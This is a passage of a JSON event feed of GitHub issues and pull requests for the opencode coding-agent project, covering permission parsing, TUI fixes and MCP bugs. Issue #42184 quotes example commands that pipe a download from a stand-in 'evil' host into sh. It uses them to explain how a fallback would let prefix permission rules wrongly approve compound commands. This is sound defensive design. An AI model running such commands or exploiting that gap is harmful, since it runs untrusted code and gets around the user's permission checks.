          "text": "## Feature Description Add a command to the command palette that reloads/restarts OpenCode to reflect configuration changes without having to manually exit and start again. ## Use Case When making changes to OpenCode configuration files (e.g., `opencode.json`, `AGENTS.md`, etc.), users currently need to: 1. Exit OpenCode completely 2. Restart OpenCode manually This is similar to how shell users need to run `source ~/.zshrc` after editing their zsh configuration - but ideally OpenCode could handle this more seamlessly. ## Proposed Solution Add a command in the command palette (accessible via `ctrl+p`) such as: - `/reload` or `/restart` - Reloads configuration and restarts the session - Or a keyboard shortcut like `ctrl+shift+r` This command would: 1. Re-read all configuration files 2. Reload any changed settings (providers, models, keybindings, hooks, etc.) 3. Optionally preserve the current session/conversation state This would greatly improve the developer experience when: - Testing new model configurations - Adding/modifying custom tools or MCP servers - Tweaking keybindings or hooks - Updating AGENTS.md instructions",
          "url": "https://github.com/anomalyco/opencode/issues/6815",
          "createdAt": "2026-01-04T07:23:29Z",
          "updatedAt": "2026-08-13T01:12:04Z",
          "timestamp": "2026-08-13T01:12:04Z",
          "metrics": {
            "reactions": 92,
            "comments": 8
          },
          "labels": [],
          "author": "leeweisern",
          "state": "closed",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1f51720f1da3f60e1871",
        "signalId": "github:anomalyco/opencode:pull_request:42203",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42203",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): skip shell parsing when permissions allow all",
          "text": "## What Skip shell command parsing when the effective agent configuration provably allows every shell command and every external directory. This lets sandboxed runtimes with an unconditional shell policy execute without loading tree-sitter. Runtimes with granular asks or denies retain the existing parser-backed permission decomposition. ## Before / After **Before:** the shell tool always loaded tree-sitter and parsed the command before checking permissions. A workerd runtime could not execute shell commands even when its agent configuration unconditionally allowed them, because tree-sitter's dynamically linked grammar WASM cannot load there. **After:** the permission service first proves that both `shell` and `external_directory` are unconditionally allowed. If so, the tool validates the working directory and executes the raw command without loading the parser. Any ask, deny, scoped-only allow, or later scoped override keeps the existing parse-and-assert path. ## How - `packages/core/src/permission.ts` adds `allowsAll`, a conservative configured-rule proof. It requires a matching `resource: \\\"*\\\"` allow and rejects any later matching scoped ask or deny. - `packages/core/src/tool/plugin/shell.ts` skips `ShellParse.scan` only when both shell execution and external-directory access pass that proof. - Permission and shell-tool tests cover blanket allows, scoped allows, later denies, later blanket overrides, parser bypass, and unchanged compound-command decomposition. ## Scope This does not add a parser fallback or change granular shell permission semantics. Commands still parse whenever the configuration cannot prove unrestricted access. This branch currently targets the permission model at `v2` HEAD. #42174 adds ancestor deny inheritance; after it merges, this PR will be rebased so inherited denies also prevent the fast path. ## Testing - `cd packages/core && bun test test/permission.test.ts` (12 passed) - `cd packages/core && bun test test/tool-shell.test.ts` (20 passed) - `cd packages/core && bun run typecheck` - Pre-push full workspace typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42203",
          "createdAt": "2026-08-13T01:04:46Z",
          "updatedAt": "2026-08-13T01:09:56Z",
          "timestamp": "2026-08-13T01:09:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:ff0c14ba0dc869fbf740",
        "signalId": "github:anomalyco/opencode:pull_request:42198",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42198",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): repair baseline unit failures",
          "text": "## What Repair the deterministic Linux unit failures introduced by the current OpenTUI and Drive configuration baselines. ## Before / After **Before** - Monochrome fenced code could render Unicode source such as `Café → …` after a `CodeRenderable` was reused across Markdown block types. - Drive tests parsed generated `.jsonc` files with strict JSON APIs and failed as soon as defaults contained comments. **After** - Non-Markdown code content is ASCII-normalized before OpenTUI refreshes its buffer, producing `Caf? -> ...`. - Drive instance and CLI tests parse `.jsonc` files with `Bun.JSONC.parse`, matching production and the file format. ## How - `packages/tui/src/mini/mono.ts` checks the renderable's current file type and normalizes non-Markdown code content. - Drive test assertions read JSONC text and parse it with Bun's JSONC parser. ## Scope Production Drive behavior is unchanged. This does not alter service lifecycle behavior. A one-off diff-viewer renderer timeout was not changed because it passed 20 focused runs and five complete TUI suites after these deterministic failures were removed. ## Testing - `cd packages/tui && bun run test test/mini/footer.view.test.tsx` (42 passed, 4 skipped) - `cd packages/tui && bun typecheck` - `cd packages/drive && bun run test` (205 Effect tests and 58 CLI integration tests passed) - `cd packages/drive && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42198",
          "createdAt": "2026-08-13T00:38:57Z",
          "updatedAt": "2026-08-13T01:04:52Z",
          "timestamp": "2026-08-13T01:04:52Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7607064e335acdf79489",
        "signalId": "github:anomalyco/opencode:pull_request:42200",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42200",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "test(drive): parse generated JSONC config",
          "text": "## What Repair Drive tests so generated `opencode.jsonc` and `tui.jsonc` files are parsed as JSONC. ## Before / After **Before** Instance and CLI integration tests called `Bun.file(...).json()` on JSONC files. Once the default configuration included comments, Linux unit jobs failed with `SyntaxError: Failed to parse JSON` before checking the generated configuration. **After** Tests read the files as text and parse them with `Bun.JSONC.parse`, matching the production configuration reader and the files' declared format. ## How Updates JSONC assertions in: - `packages/drive/test/instance/config.test.ts` - `packages/drive/test/cli/integration.test.ts` Production behavior is unchanged. ## Scope This does not change Drive configuration generation or provider configuration. ## Testing - `cd packages/drive && bun run test` (205 Effect tests and 58 CLI integration tests passed) - `cd packages/drive && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42200",
          "createdAt": "2026-08-13T00:47:06Z",
          "updatedAt": "2026-08-13T00:57:28Z",
          "timestamp": "2026-08-13T00:57:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:276b35e0beb75ebbf8ae",
        "signalId": "github:anomalyco/opencode:pull_request:42201",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42201",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(catalog): auto-generated Open Graph cards per capture",
          "text": "## What Sharing a catalog link now unfurls with a real preview. Every captured screen/theme pair gets an auto-generated 1200x630 Open Graph card showing the actual rendered terminal frame, and the worker injects per-URL meta tags so scrapers (which never run JS) see the right card for deep links. ## How - `scripts/generate-og.ts` — runs after the production build. Renders each `frame.json` with `@napi-rs/canvas` using the exact cell metrics, block-glyph primitives, and vendored fonts from `opencode-drive/frame` (the same vocabulary the browser canvas renderer uses), then composes a branded card: kicker, screen title, theme chip, and the frame peeking from the bottom edge. Writes 196 PNGs (~13 MB) plus a default card to `dist/og/`; they deploy as plain static assets. - `worker.ts` — HTML responses get `og:*`/`twitter:*` meta injected before `</head>`. `?screen=X&set=Y` resolves against `catalog.json` (fetched once per isolate from ASSETS) to `og/X--Y.png` with the screen title and a per-theme description; unknown screens, missing captures, and the bare catalog URL fall back to `og/default.png`. Attribute values are escaped. ```mermaid sequenceDiagram participant S as Scraper participant W as Worker participant A as ASSETS S->>W: GET /lab/catalog?screen=home&set=tokyonight W->>A: /index.html W->>A: /catalog.json (cached per isolate) W-->>S: shell + og:image=og/home--tokyonight.png S->>W: GET /lab/catalog/og/home--tokyonight.png W->>A: /og/home--tokyonight.png A-->>S: 1200x630 PNG ``` ## Scope - Flows deep links (`?flow=`) fall back to the default card for now; a per-flow card (first checkpoint frame) is a natural follow-up. - Card generation happens in `build`, so `bun run deploy` in CI picks it up with no workflow changes. ## Testing - `bun run typecheck`, `bun run test` (37 pass, including new `metaTags` coverage for deep links, default theme, and fallbacks), `bun run build` (generates all 196 cards), lint (warnings pre-existing). - End-to-end with `wrangler dev --local`: verified injected `og:*` tags for `?screen=home&set=tokyonight`, default card on the bare URL, and `200 image/png` for the card asset. ## Demo Per-capture card (Home, Opencode theme): ![home--opencode.png](https://github.com/user-attachments/assets/e85d115e-3707-4d10-9466-b7036dcd7b3a) Theme-aware (Diff viewer, Tokyo Night): ![diff-viewer--tokyonight.png](https://github.com/user-attachments/assets/cd200750-c40d-4706-8362-cdae71beb369) Default card for the catalog root: ![default.png](https://github.com/user-attachments/assets/d7aad2e9-3731-4619-bedc-4948448e16cd)",
          "url": "https://github.com/anomalyco/opencode/pull/42201",
          "createdAt": "2026-08-13T00:49:14Z",
          "updatedAt": "2026-08-13T00:51:35Z",
          "timestamp": "2026-08-13T00:51:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6942491606e4110c019e",
        "signalId": "github:anomalyco/opencode:pull_request:42193",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42193",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(desktop): use matching v2 CLI in WSL",
          "text": "## Summary - migrate Desktop WSL servers from opencode to opencode2 - require the WSL CLI version to match the Desktop server version exactly - use the official V2 installer with --version for releases - build the Linux CLI only when a local WSL install is requested, then install it with --binary - simplify the WSL controller around the normal user flow ## Verification - bun typecheck from packages/desktop - bun typecheck from packages/cli - bun test src/main/wsl/servers.test.ts from packages/desktop - bun run build from packages/desktop - cross-built cli-linux-x64 with Bun 1.3.14 - installed the local binary in a temporary Debian WSL home and verified opencode2 vlocal",
          "url": "https://github.com/anomalyco/opencode/pull/42193",
          "createdAt": "2026-08-13T00:25:46Z",
          "updatedAt": "2026-08-13T00:46:38Z",
          "timestamp": "2026-08-13T00:46:38Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:94fbb6ab2f34e7db42b7",
        "signalId": "github:anomalyco/opencode:pull_request:42194",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42194",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(desktop): run local server from source",
          "text": "## Summary - run the local Desktop server with the CLI package dev script - remove the native production CLI build from local Desktop startup - keep downloaded and packaged CLI behavior unchanged ## Verification - bun typecheck from packages/desktop - bun run build from packages/desktop",
          "url": "https://github.com/anomalyco/opencode/pull/42194",
          "createdAt": "2026-08-13T00:26:21Z",
          "updatedAt": "2026-08-13T00:44:48Z",
          "timestamp": "2026-08-13T00:44:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d12a63514c206ca7223b",
        "signalId": "github:anomalyco/opencode:pull_request:42196",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42196",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): truncate queued prompt preview",
          "text": "**What** Keep the queued-prompt dock to one terminal row when the next queued prompt contains multiple lines. **Before / After** **Before:** Queuing a multiline prompt preserved its newline characters in the dock preview. Although the text renderer used `wrapMode=\"none\"` and `truncate`, explicit newlines expanded the dock and could consume much of the session viewport. **After:** The dock replaces preview newlines with spaces before rendering. The existing single-line truncation then bounds the preview to one row, while the queued-prompts dialog retains the complete original text. **How** - `packages/tui/src/routes/session/index.tsx`: flatten newlines only in `QueuedPromptDock`'s derived preview text. **Scope** This does not alter queued prompt storage, delivery, or the full text shown in the queued-prompts dialog. **Testing** - `bun typecheck` in `packages/tui` - Push hook: `bun turbo typecheck --concurrency=3` (34 packages passed) - `opencode-drive check queued-prompt-drive.ts` - Exercised multiline prompt entry and Alt+Enter through a development TUI with OpenCode Drive. The scripted queue capture wedged on its first UI RPC, and the live simulated response completed before queue admission, so no screenshot is attached as queue-dock evidence.",
          "url": "https://github.com/anomalyco/opencode/pull/42196",
          "createdAt": "2026-08-13T00:35:44Z",
          "updatedAt": "2026-08-13T00:42:44Z",
          "timestamp": "2026-08-13T00:42:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:bab08b4cbde92a96b168",
        "signalId": "github:anomalyco/opencode:pull_request:42183",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42183",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(catalog): click-to-annotate captures with GitHub issue handoff",
          "text": "## What Adds click-to-annotate feedback to the lab catalog viewer. Open any capture, press `A` (or the Annotate button), click a terminal cell, type a note in a composer anchored at that point, and press Enter. Each capture's annotations become one prefilled GitHub issue with readable notes plus machine-readable JSON, so design feedback lands in the tracker with exact cell coordinates. **1. Annotate mode** — press `A` in the viewer; clicking the terminal drops a numbered pin and opens the composer at that spot. ``` ┌ terminal capture ──────────────┐ │ ① │ │ ┌ New annotation R12·C49 ┐ │ │ │ Logo could be smaller │ │ │ │ Cancel [Add] │ │ │ └─────────────────────────┘ │ └────────────────────────────────┘ ``` **2. Saved** — Enter saves; only the pin and a quiet list row remain. Clicking either reopens the composer with Delete available. **3. Handoff** — \"Open GitHub issue\" links to a prefilled issue; the annotation set also round-trips through a versioned `#annotations=` base64url fragment for shareable links. ## How - `src/annotations.ts` — versioned annotation document, cell coordinates, base64url fragment encode/validate. - `src/components/AnnotationEditor.tsx` — pin overlay and anchored composer (Enter saves, Shift+Enter newline, Escape leaves, IME-safe, auto-focus after pointer settles). - `src/components/Viewer.tsx` — annotation state keyed per capture/variant, `localStorage` drafts, `A` shortcut, issue link. - `src/feedback.ts` — issue body with human-readable notes and a `json` block for agents. - `src/components/CaptureSetSwitcher.tsx`, `src/styles.css` — header cleanup: pin-style count dot, plain-text kbd hints, unselectable `⋯` menu, `Theme <name> ▾` switcher with an invisible native select overlay, neutral focus outlines. ## Scope - GitHub remains the only durable store: no accounts, uploads, or anonymous writes. - Annotations cap at 24 per capture; issue URL stays within GitHub's length limits. - `public/catalog.json` untouched; the pre-existing formatting drift between `bun run generate` output and the prettier-formatted committed file is left alone (deploy CI regenerates it anyway). ## Testing - `bun run typecheck`, `bun run test` (34 pass), `bun run build`, package lint (25 pre-existing warnings, 0 errors) from `packages/lab/catalog`. - Browser-tested via real Chromium: pin placement, composer focus, Enter/Escape semantics, edit/delete, reload reconstruction from the URL fragment, mobile (390px) overflow, and the generated issue link host/labels/body. ## Demo Composer anchored at the clicked cell: ![annotation-composer-demo.png](https://github.com/user-attachments/assets/42066002-4992-474a-8d24-bf1c271b8ff2) After Enter, just the pin and list row: ![annotation-saved-demo.png](https://github.com/user-attachments/assets/5e1b11be-93cb-423f-a700-5f581d40dee5) Header with the pin-style count: ![viewer-header-count.png](https://github.com/user-attachments/assets/88535e75-0f09-45f2-ab7f-45a379b935ad)",
          "url": "https://github.com/anomalyco/opencode/pull/42183",
          "createdAt": "2026-08-12T23:48:52Z",
          "updatedAt": "2026-08-13T00:29:35Z",
          "timestamp": "2026-08-13T00:29:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7eb6624158dd125217dd",
        "signalId": "github:anomalyco/opencode:pull_request:42192",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42192",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(desktop): run local server from source",
          "text": "## Summary - run the local Desktop server with the CLI package dev script - remove the native production CLI build from local Desktop startup - keep downloaded and packaged CLI behavior unchanged ## Verification - bun typecheck from packages/desktop - bun run build from packages/desktop",
          "url": "https://github.com/anomalyco/opencode/pull/42192",
          "createdAt": "2026-08-13T00:24:01Z",
          "updatedAt": "2026-08-13T00:26:09Z",
          "timestamp": "2026-08-13T00:26:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Hona",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:c43cddcb1610e949014b",
        "signalId": "github:anomalyco/opencode:pull_request:42189",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42189",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): inset update footer",
          "text": "## What Add one cell of left padding to the update preflight footer so its monogram no longer touches the terminal edge. ## Before / After **Before:** The update monogram began in terminal column zero and appeared flush against the left edge. **After:** The footer content starts one cell in, matching the intended visual inset while preserving the existing spacing between the monogram and status content. ## How - Set `paddingLeft={1}` on the outer update footer row in `packages/cli/src/services/update-preflight.tsx`. ## Scope - Only changes the update preflight footer layout. - Does not change update behavior, timing, or service replacement logic. ## Testing - `bun typecheck` from `packages/cli` - Push hook: `bun turbo typecheck --concurrency=3` (34 tasks passed) - `git diff --check`",
          "url": "https://github.com/anomalyco/opencode/pull/42189",
          "createdAt": "2026-08-13T00:08:51Z",
          "updatedAt": "2026-08-13T00:15:59Z",
          "timestamp": "2026-08-13T00:15:59Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4af47d90ddddce696447",
        "signalId": "github:anomalyco/opencode:issue:42191",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42191",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Local MCP server subprocess launch (Playwright) hangs forever when hosted by Desktop, works fine from a terminal",
          "text": "### Description A local MCP server that spawns a subprocess internally (in my case Python + Playwright, launching a Node driver + Chromium) hangs forever when the tool is called through OpenCode Desktop, but the exact same code and profile works correctly when run directly from a terminal. When hosted by Desktop: the call that should spawn the subprocess never produces any child process at all (`pgrep -P <server-pid>` returns zero children for 10+ minutes) and never hits its own internal timeout, even though that timeout is a plain `asyncio.wait_for`. A stack sample (`sample <pid>`) of the hung process shows every thread idle (asyncio event loop idle, stdio reader idle) - nothing anywhere near the subprocess-launch code. Running the identical script directly in a terminal (not through OpenCode) spawns the subprocess immediately and completes normally. Ruled out: Gatekeeper/quarantine on the subprocess binary, macOS App Sandbox on OpenCode.app, missing binaries, broken PATH/env, zombie/reaped children. Points to something about how Desktop hosts local MCP server processes (child of the Electron \"OpenCode Helper (Utility)\" process) blocking subprocess creation from within that process. ### Plugins _No response_ ### OpenCode version 1.15.13 ### Steps to reproduce 1. Configure a local stdio MCP server that internally spawns a subprocess (e.g. Python asyncio.create_subprocess_exec, or Playwright's driver) 2. Launch it through OpenCode Desktop 3. Call the tool that spawns the subprocess 4. Observe: no child process ever appears under the server's PID, call hangs past its own timeout 5. Run the identical code directly from a terminal - subprocess spawns immediately, works fine ### Screenshot and/or share link _No response_ ### Operating System macOS 26.5.2 ### Terminal N/A (Desktop app)",
          "url": "https://github.com/anomalyco/opencode/issues/42191",
          "createdAt": "2026-08-13T00:14:45Z",
          "updatedAt": "2026-08-13T00:15:45Z",
          "timestamp": "2026-08-13T00:15:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "andreasnikasinc-ctrl",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ecd87d207c232a8d64fa",
        "signalId": "github:anomalyco/opencode:issue:42190",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42190",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Local MCP server spawned twice (duplicate process) on every Desktop restart",
          "text": "### Description OpenCode Desktop starts two instances of the same local (stdio) MCP server every time it restarts, instead of one. Confirmed with `ps -eo pid,ppid,lstart,command`: both server processes start at the identical timestamp, both parented under the same \"OpenCode Helper (Utility)\" process. Ruled out: - Config duplication - only one entry for the server exists in opencode.json - Multiple windows - only one window-state file exists, single window open Ends up with two idle duplicate server processes after every restart. ### Plugins _No response_ ### OpenCode version 1.15.13 ### Steps to reproduce 1. Configure any local (stdio) MCP server in opencode.json 2. Launch or restart OpenCode Desktop 3. Run `ps -eo pid,ppid,lstart,command | grep <your-server-command>` 4. See two processes with identical start times, same parent PID ### Screenshot and/or share link _No response_ ### Operating System macOS 26.5.2 ### Terminal N/A (Desktop app)",
          "url": "https://github.com/anomalyco/opencode/issues/42190",
          "createdAt": "2026-08-13T00:13:38Z",
          "updatedAt": "2026-08-13T00:14:53Z",
          "timestamp": "2026-08-13T00:14:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "andreasnikasinc-ctrl",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:84a3a0b4de4d0e35d0f2",
        "signalId": "github:anomalyco/opencode:pull_request:42151",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42151",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore(ci): surface bun exit code with ::warning:: on failure",
          "text": "## Summary Wrap the `bun script/github/close-prs.ts` invocation in `.github/workflows/close-prs.yml` so a non-zero exit code emits a `::warning::` annotation visible in the run log. Fixes #42157 ## Problem When the close-prs bun script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently — the error is buried in the full log with no visible annotation in the run summary. This makes diagnosing close-prs failures harder than necessary. ## Fix ```yaml bun script/github/close-prs.ts \"${args[@]}\" || { exit_code=$? echo \"::warning::close-prs.ts exited with code $exit_code — check logs for GraphQL/token-scope errors\" exit $exit_code } ``` The exit code is still propagated (`exit $exit_code`), so the workflow step still fails — but now the failure reason is visible at a glance in the run summary via the `::warning::` annotation. ## Verification - Pre-commit hooks passed - The change is in the workflow YAML, not the TypeScript script itself — no test changes needed - Tested on the fork `niStee/opencode` (same workflow file, same failure mode observed in run #13)",
          "url": "https://github.com/anomalyco/opencode/pull/42151",
          "createdAt": "2026-08-12T21:35:30Z",
          "updatedAt": "2026-08-13T00:11:55Z",
          "timestamp": "2026-08-13T00:11:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [],
          "author": "niStee",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b910859dd5f43ba18871",
        "signalId": "github:anomalyco/opencode:pull_request:42179",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42179",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): render Mermaid GitGraph diagrams",
          "text": "## What Render Mermaid `gitGraph` fences as terminal-native vertical commit graphs in OpenCode. ```text ○ baseline │╲ │ ○ extract-seam Extract seam │ │ │ ○ add-tests (refactor, tag: ready) │ │ ○ │ unrelated-fix │╱ ◎ land-refactor (main, tag: v2) ``` The vertical layout follows terminal Git graph conventions: branches staircase outward, remain vertical while active, and collapse directly into merge nodes without dangling corner glyphs. ## How - Adds parsing for commits, branches, checkout/switch, merges, IDs, messages, tags, commit types, branch ordering, comments, titles, and accessibility metadata. - Preserves final branch heads and validates invalid branch and merge operations with source diagnostics. - Renders semantic commit types and colored branch lanes with auxiliary rows for wide transitions. - Integrates detection, themed Markdown rendering, streaming fallback, and tests. - Keeps the implementation synchronized byte-for-byte with the stacked `@opentui/mermaid` implementation. ## Scope - This PR is stacked on #42130 and contains only GitGraph support beyond that branch. - Mermaid orientations are preserved while terminal output intentionally uses a vertical layout. - `cherry-pick` is explicitly rejected for now. ## Testing - `bun run test` in `packages/merman`: 324 passed - `bun run typecheck` in `packages/merman` - Full 39-package push-hook typecheck - GitGraph family is byte-for-byte synchronized with OpenTUI",
          "url": "https://github.com/anomalyco/opencode/pull/42179",
          "createdAt": "2026-08-12T23:31:56Z",
          "updatedAt": "2026-08-13T00:10:56Z",
          "timestamp": "2026-08-13T00:10:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:99e6958c6c0b4c726748",
        "signalId": "github:anomalyco/opencode:pull_request:42187",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42187",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(client): validate promise service discovery",
          "text": "## What Validate managed-service registration and health data before the Promise client uses it for discovery. ## Before / After **Before** The Promise client cast `JSON.parse` and health response bodies to trusted types. Primitive, partial, or incorrectly typed data could reach lifecycle logic. **After** Discovery accepts only registrations with a string URL and positive integer PID, optional correctly typed identity fields, and health responses with a complete valid modern or legacy shape. ## How - Adds runtime field checks in `packages/client/src/promise/service.ts`. - Keeps modern and legacy health classification explicit. - Adds focused malformed registration and health response tests. ## Scope This PR does not change version compatibility, replacement authority, stop/PID behavior, concurrency, CLI/Desktop policy, or TUI behavior. ## Testing - `cd packages/client && bun run test` (59 passed) - `cd packages/client && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42187",
          "createdAt": "2026-08-13T00:07:21Z",
          "updatedAt": "2026-08-13T00:07:30Z",
          "timestamp": "2026-08-13T00:07:30Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:945ba90c2f7f33632427",
        "signalId": "github:anomalyco/opencode:issue:42184",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42184",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "core: shell permission scanning on runtimes without tree-sitter WASM (workerd)",
          "text": "## Problem `ShellParse.scan` is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (`git status && curl evil | sh` → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature. On workerd the parser cannot load at all, for three stacked reasons: 1. Grammar assets are resolved from the filesystem (`locateFile`/`fileURLToPath`) — no fs in workerd. 2. workerd bans runtime WASM compilation (`WebAssembly.compile(bytes)` / `new Module(bytes)`); WASM must arrive as deploy-time module bindings. 3. Even with a precompiled Module in hand there is no hook to inject it: `Language.load` goes through emscripten's dynamic linker, which compiles grammar bytes internally. Today the workerd profile stubs the assets (`parser-wasm.workerd.ts` returns empty paths), so `scan` fails and shell is effectively dead in workerd Locations that have an execution plane. #42173 (now draft) tried the obvious fallback — on load failure, return ONE resource for the whole command with a `prefix *` save pattern — and it is unsafe: collapsing a compound command into a single resource makes prefix rules like `allow \"git *\"` glob-match `git status && curl evil.sh | sh`, and the wildcard save remembers that over-broad rule permanently. Silent permission-granularity downgrade, triggered by any load failure on any platform. ## Options **1. Fail-closed fallback (minimum viable).** No parser → the command is *unparseable*: resource = exact command string, save = exact string (never a wildcard), so only a blanket allow or an exact remembered rule passes; everything else asks. Strictly never looser than tree-sitter. Cost: over-asking in workerd for everything. **2. Conservative TS subset parser (recommended next step).** A quote-aware tokenizer + splitting on `&& || ; |` + simple redirects, with hard bail-out (→ option 1 behavior) on anything dynamic: `$(…)`, backticks, `${…}`, process substitution, `eval`, `bash 